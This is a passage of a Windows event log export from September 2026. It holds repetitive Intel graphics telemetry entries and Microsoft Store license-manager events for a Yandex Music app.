MS_NT_EVENTLOG_PROVIDER, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:02.406\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.551\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.700\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.951\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.094\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.240\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.383\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.526\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.670\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.819\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.071\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.195\t1\tTenant P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:30:04.212\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.504\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.647\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.792\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.938\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.083\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.222\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.368\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.511\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.556\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.557\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.557\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.652\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.803\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.059\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.203\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.457\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.596\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.741\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.883\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.029\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.170\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.322\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.462\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.606\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.748\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.442\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.585\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.730\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.004\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.155\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.417\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.417\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.417\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.422\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.441\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.587\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.735\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.736\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.738\t8001\t\"Skipping license manager: PFN Microsoft.StorePurchaseApp_22605.1401.3.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.742\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.742\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(2) tid(3564) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.744\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(3) tid(3564) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.744\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.746\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"0000021F831D39B0: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8011\t0x21f83133e68: 13728: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8011\t0x21f831d39d0: 13728: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"0000021F831D39B0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8012\t0x21f831d39d0: 13728: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.752\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"lease = 0x83178a28, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8011\t0x21f831d39d0: 13732: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"lease = 0x83178a28, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Lease Machine: 0000021F8312B600: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Set results for lease = 0x83178a28, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f8312b620: 13728: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => 